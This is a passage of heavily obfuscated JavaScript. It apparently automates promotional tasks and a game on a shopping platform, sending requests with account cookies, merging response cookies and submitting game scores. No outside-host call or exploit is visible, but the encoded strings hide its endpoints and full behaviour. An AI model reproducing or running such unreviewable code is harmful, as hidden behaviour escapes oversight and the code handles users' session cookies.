_0x2c72a5[_0x87f4('‫181','\x6d\x54\x55\x53')](task,_0x2c72a5[_0x87f4('‮182','\x34\x74\x6c\x48')],_0x87f4('‮183','\x31\x74\x29\x36')+$[_0x87f4('‫87','\x63\x4f\x25\x61')]+_0x87f4('‫184','\x35\x73\x5b\x64')+_0x2c72a5[_0x87f4('‮185','\x6e\x50\x69\x51')](encodeURIComponent,$[_0x87f4('‫186','\x29\x52\x26\x53')])+_0x87f4('‫187','\x44\x48\x5a\x34'));break;case _0x2c72a5[_0x87f4('‮188','\x29\x42\x42\x45')]:$[_0x87f4('‮189','\x47\x7a\x7a\x79')](_0x2c72a5[_0x87f4('‫18a','\x31\x74\x29\x36')]);await _0x2c72a5[_0x87f4('‮18b','\x34\x74\x6c\x48')](task,_0x2c72a5[_0x87f4('‮18c','\x54\x70\x77\x69')],_0x87f4('‮18d','\x56\x6d\x4e\x53')+$[_0x87f4('‫18e','\x5a\x4d\x49\x21')]+_0x87f4('‮18f','\x54\x70\x77\x69')+_0x2c72a5[_0x87f4('‫190','\x50\x6b\x62\x24')](encodeURIComponent,$[_0x87f4('‫191','\x29\x4c\x6c\x6b')])+_0x87f4('‫192','\x71\x23\x23\x76'));break;case _0x2c72a5[_0x87f4('‮193','\x71\x53\x72\x62')]:$[_0x87f4('‫194','\x76\x76\x42\x43')](_0x2c72a5[_0x87f4('‮195','\x74\x35\x70\x65')]);await _0x2c72a5[_0x87f4('‫196','\x63\x4f\x25\x61')](task,_0x2c72a5[_0x87f4('‫197','\x79\x5a\x59\x32')],_0x87f4('‫198','\x74\x35\x70\x65')+$[_0x87f4('‫199','\x50\x6c\x34\x73')]+_0x87f4('‮19a','\x79\x5a\x59\x32')+_0x2c72a5[_0x87f4('‮19b','\x34\x43\x47\x35')](encodeURIComponent,$[_0x87f4('‮19c','\x47\x7a\x7a\x79')])+_0x87f4('‮19d','\x50\x6c\x34\x73'));break;case _0x2c72a5[_0x87f4('‫19e','\x50\x6c\x34\x73')]:console[_0x87f4('‫5d','\x29\x52\x26\x53')]('');await _0x2c72a5[_0x87f4('‮19f','\x6e\x50\x69\x51')](task,_0x2c72a5[_0x87f4('‮1a0','\x56\x6d\x4e\x53')],_0x87f4('‫1a1','\x58\x6d\x41\x57')+$[_0x87f4('‫1a2','\x73\x48\x62\x4b')]+_0x87f4('‫1a3','\x33\x51\x65\x48')+_0x2c72a5[_0x87f4('‫1a4','\x58\x64\x45\x7a')](encodeURIComponent,$[_0x87f4('‫1a5','\x6d\x54\x55\x53')]));for(let _0xb044c7=0x0;_0x2c72a5[_0x87f4('‫1a6','\x6d\x54\x55\x53')](_0xb044c7,$[_0x87f4('‫1a7','\x71\x23\x23\x76')][_0x87f4('‫1a8','\x67\x31\x5a\x28')]);_0xb044c7++){if(_0x2c72a5[_0x87f4('‫1a9','\x74\x35\x70\x65')](_0x2c72a5[_0x87f4('‫1aa','\x76\x70\x30\x23')],_0x2c72a5[_0x87f4('‮1ab','\x7a\x34\x77\x71')])){cookie+=_0x2c72a5[_0x87f4('‮1ac','\x4c\x51\x59\x24')](_0x2c72a5[_0x87f4('‮1ad','\x63\x4f\x25\x61')](_0x2c72a5[_0x87f4('‮1ae','\x21\x35\x33\x57')](vo,'\x3d'),lz_cookie[vo]),'\x3b');}else{await $[_0x87f4('‮1af','\x25\x71\x4d\x71')](0x1f4);$[_0x87f4('‮b0','\x35\x73\x5b\x64')](_0x87f4('‫1b0','\x50\x6c\x34\x73')+$[_0x87f4('‮1b1','\x63\x4f\x25\x61')][_0xb044c7][_0x2c72a5[_0x87f4('‮1b2','\x50\x6b\x62\x24')]]);await _0x2c72a5[_0x87f4('‫1b3','\x54\x36\x33\x71')](task,_0x2c72a5[_0x87f4('‫1b4','\x6c\x56\x25\x67')],_0x87f4('‮1b5','\x44\x66\x34\x2a')+$[_0x87f4('‮1b6','\x52\x62\x46\x57')]+_0x87f4('‫1b7','\x56\x6d\x4e\x53')+_0x2c72a5[_0x87f4('‮1b8','\x76\x76\x42\x43')](encodeURIComponent,$[_0x87f4('‫1b9','\x25\x71\x4d\x71')])+_0x87f4('‮1ba','\x6c\x56\x25\x67')+$[_0x87f4('‫1bb','\x54\x70\x77\x69')][_0xb044c7][_0x2c72a5[_0x87f4('‫1bc','\x34\x74\x6c\x48')]]);if(_0x2c72a5[_0x87f4('‮1bd','\x44\x66\x34\x2a')](_0xb044c7,_0x2c72a5[_0x87f4('‫1be','\x25\x71\x4d\x71')]($[_0x87f4('‮1bf','\x56\x6d\x4e\x53')],0x1)))break;}}break;case _0x2c72a5[_0x87f4('‮1c0','\x58\x64\x45\x7a')]:console[_0x87f4('‮1c1','\x65\x45\x58\x41')]('');await _0x2c72a5[_0x87f4('‮1c2','\x50\x6b\x62\x24')](task,_0x2c72a5[_0x87f4('‮1c3','\x4d\x42\x49\x64')],_0x87f4('‮1c4','\x34\x74\x6c\x48')+$[_0x87f4('‮13e','\x6c\x7a\x21\x32')]+_0x87f4('‫1c5','\x29\x42\x42\x45')+_0x2c72a5[_0x87f4('‫1c6','\x58\x64\x45\x7a')](encodeURIComponent,$[_0x87f4('‫1c7','\x50\x6c\x34\x73')]));for(let _0x355d35=0x0;_0x2c72a5[_0x87f4('‫1c8','\x31\x74\x29\x36')](_0x355d35,$[_0x87f4('‫1bb','\x54\x70\x77\x69')][_0x87f4('‮7e','\x63\x63\x57\x42')]);_0x355d35++){await $[_0x87f4('‮1c9','\x34\x43\x47\x35')](0x1f4);$[_0x87f4('‮189','\x47\x7a\x7a\x79')](_0x87f4('‫1ca','\x21\x35\x33\x57')+$[_0x87f4('‫1a7','\x71\x23\x23\x76')][_0x355d35][_0x2c72a5[_0x87f4('‫1cb','\x34\x43\x47\x35')]]);await _0x2c72a5[_0x87f4('‫1cc','\x6d\x54\x55\x53')](task,_0x2c72a5[_0x87f4('‫1cd','\x65\x45\x58\x41')],_0x87f4('‫1ce','\x58\x64\x45\x7a')+$[_0x87f4('‫1cf','\x31\x74\x29\x36')]+_0x87f4('‮19a','\x79\x5a\x59\x32')+_0x2c72a5[_0x87f4('‫1d0','\x35\x73\x5b\x64')](encodeURIComponent,$[_0x87f4('‫1d1','\x31\x74\x29\x36')])+_0x87f4('‮1d2','\x7a\x34\x77\x71')+$[_0x87f4('‫1d3','\x37\x7a\x2a\x4a')][_0x355d35][_0x2c72a5[_0x87f4('‮1d4','\x4c\x72\x2a\x77')]]);if(_0x2c72a5[_0x87f4('‫1d5','\x23\x41\x65\x78')](_0x355d35,_0x2c72a5[_0x87f4('‫1d6','\x61\x46\x45\x33')]($[_0x87f4('‮1d7','\x5d\x25\x68\x79')],0x1)))break;}break;case _0x2c72a5[_0x87f4('‫1d8','\x47\x7a\x7a\x79')]:console[_0x87f4('‫52','\x63\x4f\x25\x61')]('');await _0x2c72a5[_0x87f4('‮1d9','\x34\x74\x40\x45')](task,_0x2c72a5[_0x87f4('‫1da','\x7a\x34\x77\x71')],_0x87f4('‮1db','\x61\x46\x45\x33')+$[_0x87f4('‫e0','\x25\x71\x4d\x71')]+_0x87f4('‫1dc','\x4c\x72\x2a\x77')+_0x2c72a5[_0x87f4('‫1dd','\x44\x66\x34\x2a')](encodeURIComponent,$[_0x87f4('‮1de','\x44\x66\x34\x2a')]));for(let _0x305d31=0x0;_0x2c72a5[_0x87f4('‫1df','\x29\x52\x26\x53')](_0x305d31,$[_0x87f4('‮1e0','\x5a\x4d\x49\x21')][_0x87f4('‮1e1','\x31\x74\x29\x36')]);_0x305d31++){await $[_0x87f4('‫16c','\x5d\x25\x68\x79')](0x1f4);$[_0x87f4('‮1e2','\x23\x41\x65\x78')](_0x87f4('‮1e3','\x6e\x50\x69\x51')+$[_0x87f4('‫1e4','\x54\x36\x33\x71')][_0x305d31][_0x2c72a5[_0x87f4('‮1e5','\x31\x74\x29\x36')]]);await _0x2c72a5[_0x87f4('‫1e6','\x61\x46\x45\x33')](task,_0x2c72a5[_0x87f4('‫1e7','\x79\x79\x31\x4e')],_0x87f4('‫1e8','\x6d\x54\x55\x53')+$[_0x87f4('‫1e9','\x56\x6d\x4e\x53')]+_0x87f4('‫1ea','\x44\x66\x34\x2a')+_0x2c72a5[_0x87f4('‫1eb','\x31\x74\x29\x36')](encodeURIComponent,$[_0x87f4('‫1ec','\x4a\x32\x6b\x76')])+_0x87f4('‮1ed','\x5d\x25\x68\x79')+$[_0x87f4('‫1d3','\x37\x7a\x2a\x4a')][_0x305d31][_0x2c72a5[_0x87f4('‫1ee','\x58\x6d\x41\x57')]]);if(_0x2c72a5[_0x87f4('‫1ef','\x54\x36\x33\x71')](_0x305d31,_0x2c72a5[_0x87f4('‫1f0','\x4a\x32\x6b\x76')]($[_0x87f4('‮1f1','\x33\x51\x65\x48')],0x1)))break;}break;case _0x2c72a5[_0x87f4('‮1f2','\x5a\x4d\x49\x21')]:console[_0x87f4('‫194','\x76\x76\x42\x43')]('');await _0x2c72a5[_0x87f4('‫1f3','\x50\x6b\x62\x24')](task,_0x2c72a5[_0x87f4('‫1f4','\x46\x55\x72\x32')],_0x87f4('‫1f5','\x71\x23\x23\x76')+$[_0x87f4('‫1f6','\x65\x45\x58\x41')]+_0x87f4('‮1f7','\x58\x64\x45\x7a')+_0x2c72a5[_0x87f4('‫1f8','\x4c\x51\x59\x24')](encodeURIComponent,$[_0x87f4('‮1f9','\x63\x4f\x25\x61')]));for(let _0x555f08=0x0;_0x2c72a5[_0x87f4('‫1fa','\x76\x76\x42\x43')](_0x555f08,$[_0x87f4('‫1fb','\x6c\x56\x25\x67')][_0x87f4('‮1fc','\x46\x55\x72\x32')]);_0x555f08++){await $[_0x87f4('‮1fd','\x50\x6c\x34\x73')](0x1f4);$[_0x87f4('‫1fe','\x6c\x56\x25\x67')](_0x87f4('‫1ff','\x4a\x32\x6b\x76')+$[_0x87f4('‮200','\x33\x51\x65\x48')][_0x555f08][_0x2c72a5[_0x87f4('‫201','\x65\x45\x58\x41')]]);await _0x2c72a5[_0x87f4('‮202','\x4c\x51\x59\x24')](task,_0x2c72a5[_0x87f4('‫203','\x76\x70\x30\x23')],_0x87f4('‮204','\x29\x4c\x6c\x6b')+$[_0x87f4('‮205','\x6d\x54\x55\x53')]+_0x87f4('‮206','\x71\x23\x23\x76')+_0x2c72a5[_0x87f4('‮207','\x34\x74\x6c\x48')](encodeURIComponent,$[_0x87f4('‮208','\x34\x74\x40\x45')])+_0x87f4('‮209','\x5a\x4d\x49\x21')+$[_0x87f4('‮20a','\x74\x35\x70\x65')][_0x555f08][_0x2c72a5[_0x87f4('‮20b','\x7a\x34\x77\x71')]]);if(_0x2c72a5[_0x87f4('‮20c','\x67\x31\x5a\x28')](_0x555f08,_0x2c72a5[_0x87f4('‫20d','\x4c\x72\x2a\x77')]($[_0x87f4('‮20e','\x47\x7a\x7a\x79')],0x1)))break;}break;case _0x2c72a5[_0x87f4('‫20f','\x34\x74\x6c\x48')]:$[_0x87f4('‫210','\x4a\x32\x6b\x76')]=JSON[_0x87f4('‮211','\x5d\x25\x68\x79')]($[_0x87f4('‮212','\x35\x73\x5b\x64')][_0x5a92b4][_0x87f4('‫213','\x4c\x72\x2a\x77')])[_0x87f4('‫3e','\x52\x62\x46\x57')];$[_0x87f4('‮171','\x21\x35\x33\x57')](_0x87f4('‫214','\x6c\x7a\x21\x32')+$[_0x87f4('‫215','\x31\x74\x29\x36')]);await _0x2c72a5[_0x87f4('‫216','\x29\x4c\x6c\x6b')](task,_0x2c72a5[_0x87f4('‮217','\x54\x36\x33\x71')],_0x87f4('‫218','\x6c\x7a\x21\x32')+$[_0x87f4('‮219','\x5d\x25\x68\x79')]+_0x87f4('‫21a','\x7a\x34\x77\x71')+_0x2c72a5[_0x87f4('‫21b','\x6d\x54\x55\x53')](encodeURIComponent,$[_0x87f4('‮21c','\x4c\x51\x59\x24')])+_0x87f4('‮21d','\x21\x35\x33\x57')+$[_0x87f4('‮21e','\x4c\x51\x59\x24')][_0x5a92b4][_0x87f4('‫21f','\x23\x41\x65\x78')]+_0x87f4('‫220','\x4c\x72\x2a\x77'));break;default:break;}}}}else{$[_0x87f4('‮1c1','\x65\x45\x58\x41')]('','\u274c\x20'+$[_0x87f4('‮221','\x7a\x34\x77\x71')]+_0x87f4('‮222','\x31\x74\x29\x36')+e+'\x21','');}}if(isplayGame){console[_0x87f4('‮17f','\x44\x48\x5a\x34')]('');$[_0x87f4('‮223','\x44\x48\x5a\x34')]=![];$[_0x87f4('‮224','\x25\x71\x4d\x71')]=0x1;do{$[_0x87f4('‮225','\x65\x45\x58\x41')]=null;$[_0x87f4('‮226','\x79\x79\x31\x4e')]=_0x2c72a5[_0x87f4('‮227','\x52\x62\x46\x57')](random,0x3a98,0x4e20);await _0x2c72a5[_0x87f4('‮228','\x29\x52\x26\x53')](task,_0x2c72a5[_0x87f4('‮229','\x31\x74\x29\x36')],_0x87f4('‮22a','\x79\x79\x31\x4e')+$[_0x87f4('‮1b6','\x52\x62\x46\x57')]+_0x87f4('‮22b','\x23\x41\x65\x78')+_0x2c72a5[_0x87f4('‮22c','\x4d\x42\x49\x64')](encodeURIComponent,$[_0x87f4('‮1de','\x44\x66\x34\x2a')]));await $[_0x87f4('‫22d','\x46\x55\x72\x32')](0x3e8);if($[_0x87f4('‮22e','\x61\x46\x45\x33')]){console[_0x87f4('‮22f','\x54\x36\x33\x71')](_0x87f4('‮230','\x29\x4c\x6c\x6b')+$[_0x87f4('‮231','\x65\x45\x58\x41')]+_0x87f4('‫232','\x73\x48\x62\x4b'));let _0x3cd2de=new Date()[_0x87f4('‫233','\x34\x74\x6c\x48')]();let _0x136fc6=$[_0x87f4('‮234','\x73\x48\x62\x4b')](_0x2c72a5[_0x87f4('‮235','\x7a\x34\x77\x71')](_0x2c72a5[_0x87f4('‮236','\x46\x55\x72\x32')](_0x2c72a5[_0x87f4('‮237','\x76\x70\x30\x23')](_0x2c72a5[_0x87f4('‫238','\x29\x42\x42\x45')](_0x2c72a5[_0x87f4('‮239','\x79\x5a\x59\x32')]($[_0x87f4('‮23a','\x29\x52\x26\x53')],'\x2c'),_0x3cd2de),'\x2c'),$[_0x87f4('‮23b','\x34\x43\x47\x35')]),_0x2c72a5[_0x87f4('‫23c','\x5a\x4d\x49\x21')]));await _0x2c72a5[_0x87f4('‮23d','\x6d\x54\x55\x53')](task,_0x2c72a5[_0x87f4('‮23e','\x63\x4f\x25\x61')],_0x87f4('‫23f','\x23\x41\x65\x78')+$[_0x87f4('‮240','\x34\x74\x6c\x48')]+_0x87f4('‫241','\x46\x55\x72\x32')+_0x2c72a5[_0x87f4('‫242','\x67\x31\x5a\x28')](encodeURIComponent,$[_0x87f4('‮243','\x65\x45\x58\x41')])+_0x87f4('‮244','\x6c\x7a\x21\x32')+$[_0x87f4('‫245','\x6e\x50\x69\x51')]+_0x87f4('‮246','\x6d\x54\x55\x53')+$[_0x87f4('‫247','\x63\x63\x57\x42')]+_0x87f4('‮248','\x34\x74\x40\x45')+_0x3cd2de+_0x87f4('‫249','\x31\x74\x29\x36')+_0x136fc6+_0x87f4('‫24a','\x29\x52\x26\x53'));}await $[_0x87f4('‮24b','\x71\x53\x72\x62')](0x3e8);if(_0x2c72a5[_0x87f4('‮24c','\x4a\x32\x6b\x76')]($[_0x87f4('‮24d','\x34\x74\x40\x45')],0x5)){console[_0x87f4('‮24e','\x71\x23\x23\x76')](_0x2c72a5[_0x87f4('‫24f','\x4c\x72\x2a\x77')]);break;}$[_0x87f4('‮250','\x47\x7a\x7a\x79')]++;}while(!$[_0x87f4('‮251','\x54\x36\x33\x71')]);}}else{if(_0x2c72a5[_0x87f4('‫252','\x37\x7a\x2a\x4a')](_0x2c72a5[_0x87f4('‫253','\x31\x74\x29\x36')],_0x2c72a5[_0x87f4('‫254','\x5a\x4d\x49\x21')])){console[_0x87f4('‫255','\x44\x66\x34\x2a')](data);}else{$[_0x87f4('‮256','\x4c\x51\x59\x24')](_0x2c72a5[_0x87f4('‫257','\x58\x64\x45\x7a')]);}}}else{$[_0x87f4('‫1fe','\x6c\x56\x25\x67')](_0x2c72a5[_0x87f4('‮258','\x67\x31\x5a\x28')]);}}else{if(_0x2c72a5[_0x87f4('‫259','\x34\x74\x40\x45')](_0x2c72a5[_0x87f4('‮25a','\x71\x23\x23\x76')],_0x2c72a5[_0x87f4('‮25b','\x76\x76\x42\x43')])){return format[_0x87f4('‫25c','\x25\x71\x4d\x71')](/[xy]/g,function(_0x546df8){var _0x1ae1b8=_0x2c72a5[_0x87f4('‫25d','\x76\x76\x42\x43')](_0x2c72a5[_0x87f4('‮25e','\x63\x4f\x25\x61')](Math[_0x87f4('‮25f','\x63\x4f\x25\x61')](),0x10),0x0),_0x544cb6=_0x2c72a5[_0x87f4('‫260','\x74\x35\x70\x65')](_0x546df8,'\x78')?_0x1ae1b8:_0x2c72a5[_0x87f4('‫261','\x50\x6b\x62\x24')](_0x2c72a5[_0x87f4('‮262','\x61\x46\x45\x33')](_0x1ae1b8,0x3),0x8);if(UpperCase){uuid=_0x544cb6[_0x87f4('‮263','\x44\x48\x5a\x34')](0x24)[_0x87f4('‫264','\x65\x45\x58\x41')]();}else{uuid=_0x544cb6[_0x87f4('‮265','\x6e\x50\x69\x51')](0x24);}return uuid;});}else{$[_0x87f4('‮1e2','\x23\x41\x65\x78')](_0x2c72a5[_0x87f4('‫266','\x34\x43\x47\x35')]);}}}function task(_0x5b93e7,_0x27cf5a,_0x4db711=0x0){var _0xb124ab={'\x41\x47\x78\x46\x64':_0x87f4('‫267','\x73\x48\x62\x4b'),'\x61\x43\x77\x7a\x78':function(_0x369e35,_0x477faf){return _0x369e35+_0x477faf;},'\x53\x55\x70\x79\x53':_0x87f4('‫268','\x76\x70\x30\x23'),'\x56\x50\x56\x4b\x66':function(_0x5b5810,_0x140361){return _0x5b5810!==_0x140361;},'\x6b\x69\x4a\x52\x78':_0x87f4('‮269','\x63\x4f\x25\x61'),'\x56\x66\x6e\x74\x55':_0x87f4('‮26a','\x4d\x42\x49\x64'),'\x6f\x71\x79\x46\x69':_0x87f4('‮26b','\x34\x74\x6c\x48'),'\x6c\x72\x6e\x48\x66':_0x87f4('‮26c','\x4a\x32\x6b\x76'),'\x44\x62\x4c\x77\x4d':function(_0x5c4391,_0x4959b9){return _0x5c4391+_0x4959b9;},'\x70\x6d\x62\x72\x58':function(_0x2e55f7,_0x354c33){return _0x2e55f7+_0x354c33;},'\x62\x74\x6e\x66\x59':function(_0x2d6404,_0x1033f2){return _0x2d6404!==_0x1033f2;},'\x51\x73\x74\x44\x46':_0x87f4('‮26d','\x54\x36\x33\x71'),'\x69\x48\x62\x62\x68':_0x87f4('‫26e','\x5d\x25\x68\x79'),'\x4a\x75\x51\x44\x73':_0x87f4('‮26f','\x6c\x41\x4e\x55'),'\x53\x6d\x45\x5a\x4d':_0x87f4('‮270','\x54\x70\x77\x69'),'\x44\x4a\x4b\x69\x51':function(_0x57b91c,_0xc6303c){return _0x57b91c===_0xc6303c;},'\x56\x6b\x65\x4e\x4c':_0x87f4('‫271','\x29\x52\x26\x53'),'\x79\x6e\x55\x58\x75':_0x87f4('‮272','\x63\x4f\x25\x61'),'\x43\x77\x56\x74\x76':function(_0x4fb33,_0x21d015){return _0x4fb33+_0x21d015;},'\x6d\x49\x77\x77\x42':_0x87f4('‫273','\x65\x45\x58\x41'),'\x44\x72\x62\x6c\x74':_0x87f4('‫274','\x6e\x50\x69\x51'),'\x77\x6a\x59\x78\x64':_0x87f4('‮275','\x34\x74\x40\x45'),'\x43\x71\x4e\x4f\x76':_0x87f4('‫276','\x6e\x50\x69\x51'),'\x71\x58\x52\x78\x6e':_0x87f4('‫277','\x79\x79\x31\x4e'),'\x64\x75\x4f\x52\x4e':_0x87f4('‫278','\x5d\x25\x68\x79'),'\x41\x74\x4d\x59\x56':_0x87f4('‮279','\x79\x5a\x59\x32'),'\x49\x56\x6f\x51\x7a':_0x87f4('‫27a','\x6c\x41\x4e\x55'),'\x74\x42\x48\x56\x56':_0x87f4('‫27b','\x61\x46\x45\x33'),'\x64\x42\x4d\x4b\x6e':_0x87f4('‫27c','\x33\x51\x65\x48'),'\x4d\x52\x63\x4b\x41':_0x87f4('‮27d','\x47\x7a\x7a\x79'),'\x7a\x56\x58\x68\x48':function(_0x1728af,_0x1a5afa){return _0x1728af===_0x1a5afa;},'\x4b\x59\x4b\x51\x45':_0x87f4('‫27e','\x34\x74\x40\x45'),'\x78\x4b\x64\x67\x52':_0x87f4('‫27f','\x73\x48\x62\x4b'),'\x46\x58\x4d\x68\x74':_0x87f4('‮200','\x33\x51\x65\x48'),'\x65\x73\x66\x4c\x64':_0x87f4('‫280','\x58\x6d\x41\x57'),'\x6d\x49\x68\x57\x65':_0x87f4('‮281','\x5d\x25\x68\x79'),'\x6c\x41\x71\x4f\x69':function(_0x305cd3,_0x4e7a91,_0xa40926){return _0x305cd3(_0x4e7a91,_0xa40926);},'\x6d\x7a\x50\x66\x6d':_0x87f4('‫282','\x4a\x32\x6b\x76'),'\x49\x55\x79\x67\x6c':function(_0x74d2e,_0x4b00d2){return _0x74d2e(_0x4b00d2);},'\x6f\x77\x7a\x44\x50':function(_0x3af7e2,_0x39f342){return _0x3af7e2+_0x39f342;},'\x6e\x6d\x51\x64\x67':_0x87f4('‮283','\x33\x51\x65\x48'),'\x58\x44\x6d\x67\x51':function(_0x3f5541,_0x17b87f){return _0x3f5541===_0x17b87f;},'\x4b\x55\x4e\x6e\x4a':_0x87f4('‮284','\x6c\x56\x25\x67'),'\x58\x58\x69\x78\x6d':_0x87f4('‫285','\x46\x55\x72\x32'),'\x75\x4b\x51\x76\x4e':_0x87f4('‮286','\x47\x7a\x7a\x79'),'\x55\x79\x58\x4d\x4a':_0x87f4('‮287','\x58\x6d\x41\x57'),'\x48\x41\x67\x79\x65':_0x87f4('‮288','\x54\x70\x77\x69'),'\x67\x49\x4a\x53\x4f':function(_0x13c4b6,_0x29bddb){return _0x13c4b6!==_0x29bddb;},'\x4a\x7a\x53\x4c\x6d':_0x87f4('‮289','\x29\x42\x42\x45'),'\x58\x64\x7a\x4a\x51':_0x87f4('‮28a','\x65\x45\x58\x41'),'\x76\x67\x4d\x7a\x50':_0x87f4('‫28b','\x37\x7a\x2a\x4a'),'\x7a\x46\x61\x54\x56':function(_0x3f4676){return _0x3f4676();},'\x66\x6e\x4d\x53\x52':function(_0x29cd36,_0x38882c){return _0x29cd36+_0x38882c;},'\x6f\x75\x69\x4f\x67':function(_0x49a1a6,_0x2f0b90){return _0x49a1a6*_0x2f0b90;},'\x71\x5a\x67\x73\x51':function(_0x363319,_0x5dc534){return _0x363319-_0x5dc534;},'\x58\x75\x6c\x42\x6e':function(_0x137d9e,_0x704776,_0x15daea,_0x301828){return _0x137d9e(_0x704776,_0x15daea,_0x301828);}};return new Promise(_0x1de160=>{var _0x5a0ade={'\x70\x69\x67\x41\x49':function(_0x1f1ad1){return _0xb124ab[_0x87f4('‮28c','\x79\x5a\x59\x32')](_0x1f1ad1);},'\x50\x79\x45\x7a\x72':function(_0x1cf75f){return _0xb124ab[_0x87f4('‫28d','\x4d\x42\x49\x64')](_0x1cf75f);},'\x64\x53\x45\x47\x7a':function(_0x28ca2b,_0x3fef6b){return _0xb124ab[_0x87f4('‫28e','\x4c\x72\x2a\x77')](_0x28ca2b,_0x3fef6b);},'\x74\x71\x59\x63\x52':function(_0x3ba9b0,_0x5cb7a){return _0xb124ab[_0x87f4('‫28f','\x34\x43\x47\x35')](_0x3ba9b0,_0x5cb7a);},'\x65\x54\x6e\x66\x4e':function(_0x837ea9,_0x4bef96){return _0xb124ab[_0x87f4('‮290','\x29\x42\x42\x45')](_0x837ea9,_0x4bef96);}};$[_0x87f4('‮291','\x44\x66\x34\x2a')](_0xb124ab[_0x87f4('‮292','\x76\x76\x42\x43')](taskUrl,_0x5b93e7,_0x27cf5a,_0x4db711),async(_0x11ceba,_0x333966,_0x10599a)=>{var _0x111bf0={'\x46\x63\x6d\x62\x78':_0xb124ab[_0x87f4('‮293','\x56\x6d\x4e\x53')],'\x73\x7a\x5a\x4b\x43':function(_0x47e246,_0x4e92b6){return _0xb124ab[_0x87f4('‫294','\x34\x74\x40\x45')](_0x47e246,_0x4e92b6);},'\x50\x75\x4d\x6e\x56':_0xb124ab[_0x87f4('‮295','\x63\x4f\x25\x61')]};try{if(_0x11ceba){if(_0xb124ab[_0x87f4('‫296','\x76\x70\x30\x23')](_0xb124ab[_0x87f4('‫297','\x4d\x42\x49\x64')],_0xb124ab[_0x87f4('‫298','\x71\x23\x23\x76')])){$[_0x87f4('‮299','\x6e\x50\x69\x51')](_0x11ceba);}else{$[_0x87f4('‫29a','\x46\x55\x72\x32')](error);}}else{if(_0x10599a){_0x10599a=JSON[_0x87f4('‮29b','\x61\x46\x45\x33')](_0x10599a);if(_0x333966[_0xb124ab[_0x87f4('‮29c','\x74\x35\x70\x65')]][_0xb124ab[_0x87f4('‫29d','\x73\x48\x62\x4b')]]){cookie=originCookie+'\x3b';for(let _0x2425de of _0x333966[_0xb124ab[_0x87f4('‫29e','\x6d\x54\x55\x53')]][_0xb124ab[_0x87f4('‫29f','\x4c\x72\x2a\x77')]]){lz_cookie[_0x2425de[_0x87f4('‮9b','\x6e\x50\x69\x51')]('\x3b')[0x0][_0x87f4('‫2a0','\x23\x41\x65\x78')](0x0,_0x2425de[_0x87f4('‫2a1','\x47\x7a\x7a\x79')]('\x3b')[0x0][_0x87f4('‮2a2','\x54\x70\x77\x69')]('\x3d'))]=_0x2425de[_0x87f4('‮2a3','\x29\x52\x26\x53')]('\x3b')[0x0][_0x87f4('‫2a4','\x56\x6d\x4e\x53')](_0xb124ab[_0x87f4('‮2a5','\x5d\x25\x68\x79')](_0x2425de[_0x87f4('‫2a6','\x79\x5a\x59\x32')]('\x3b')[0x0][_0x87f4('‮2a7','\x4d\x42\x49\x64')]('\x3d'),0x1));}for(const _0x2f279e of Object[_0x87f4('‮2a8','\x71\x23\x23\x76')](lz_cookie)){cookie+=_0xb124ab[_0x87f4('‮2a9','\x4d\x42\x49\x64')](_0xb124ab[_0x87f4('‮2aa','\x25\x71\x4d\x71')](_0xb124ab[_0x87f4('‫2ab','\x4c\x51\x59\x24')](_0x2f279e,'\x3d'),lz_cookie[_0x2f279e]),'\x3b');}}if(_0x10599a[_0x87f4('‮2ac','\x46\x55\x72\x32')]){if(_0xb124ab[_0x87f4('‮2ad','\x4d\x42\x49\x64')](_0xb124ab[_0x87f4('‮2ae','\x52\x62\x46\x57')],_0xb124ab[_0x87f4('‮2af','\x35\x73\x5b\x64')])){switch(_0x5b93e7){case _0xb124ab[_0x87f4('‮2b0','\x58\x6d\x41\x57')]:$[_0x87f4('‮2b1','\x50\x6b\x62\x24')]=_0x10599a[_0x87f4('‫2b2','\x34\x43\x47\x35')][_0x87f4('‮2b3','\x4d\x42\x49\x64')];$[_0x87f4('‫2b4','\x34\x74\x6c\x48')]=_0x10599a[_0x87f4('‫2b5','\x67\x31\x5a\x28')][_0x87f4('‮2b6','\x63\x4f\x25\x61')];$[_0x87f4('‫2b7','\x21\x35\x33\x57')]=_0x10599a[_0x87f4('‫2b8','\x44\x48\x5a\x34')][_0x87f4('‮2b9','\x47\x7a\x7a\x79')];break;case _0xb124ab[_0x87f4('‫2ba','\x65\x45\x58\x41')]:$[_0x87f4('‮2bb','\x79\x5a\x59\x32')]=_0x10599a[_0x87f4('‫2bc','\x54\x70\x77\x69')][_0x87f4('‮2bd','\x29\x52\x26\x53')];$[_0x87f4('‫2be','\x34\x74\x6c\x48')]=_0x10599a[_0x87f4('‫2bc','\x54\x70\x77\x69')][_0x87f4('‮2bf','\x7a\x34\x77\x71')];if(_0xb124ab[_0x87f4('‮2c0','\x7a\x34\x77\x71')]($[_0x87f4('‫2c1','\x4c\x51\x59\x24')],0x1)){if(_0xb124ab[_0x87f4('‮2c2','\x33\x51\x65\x48')](_0xb124ab[_0x87f4('‫2c3','\x46\x55\x72\x32')],_0xb124ab[_0x87f4('‮2c4','\x79\x5a\x59\x32')])){ownCode=_0x10599a[_0x87f4('‮2c5','\x44\x66\x34\x2a')][_0x87f4('‫2c6','\x71\x53\x72\x62')];console[_0x87f4('‫5d','\x29\x52\x26\x53')](_0xb124ab[_0x87f4('‫2c7','\x4c\x72\x2a\x77')](_0xb124ab[_0x87f4('‫2c8','\x34\x74\x6c\x48')],ownCode));}else{wxgameActivityId=process[_0x87f4('‫2c9','\x23\x41\x65\x78')][_0x87f4('‫2ca','\x34\x74\x6c\x48')][_0x87f4('‫2cb','\x63\x63\x57\x42')]('\x2c');}}break;case _0xb124ab[_0x87f4('‫2cc','\x63\x63\x57\x42')]:if(_0x10599a[_0x87f4('‫2cd','\x6c\x7a\x21\x32')][_0x87f4('‫2ce','\x56\x6d\x4e\x53')]){if(_0xb124ab[_0x87f4('‫2cf','\x63\x63\x57\x42')]($[_0x87f4('‮2d0','\x76\x70\x30\x23')],0x1)){ownCode[_0xb124ab[_0x87f4('‮2d1','\x50\x6c\x34\x73')]]=_0x10599a[_0x87f4('‮2d2','\x52\x62\x46\x57')][_0x87f4('‫2d3','\x79\x79\x31\x4e')];ownCode[_0xb124ab[_0x87f4('‫2d4','\x6c\x41\x4e\x55')]]=_0x10599a[_0x87f4('‫2d5','\x61\x46\x45\x33')][_0x87f4('‫2d6','\x4d\x42\x49\x64')];}$[_0x87f4('‫2d7','\x34\x74\x6c\x48')]=_0x10599a[_0x87f4('‫2d8','\x6d\x54\x55\x53')][_0x87f4('‮2d9','\x74\x35\x70\x65')];}else{if(_0xb124ab[_0x87f4('‫2da','\x23\x41\x65\x78')](_0xb124ab[_0x87f4('‫2db','\x4c\x51\x59\x24')],_0xb124ab[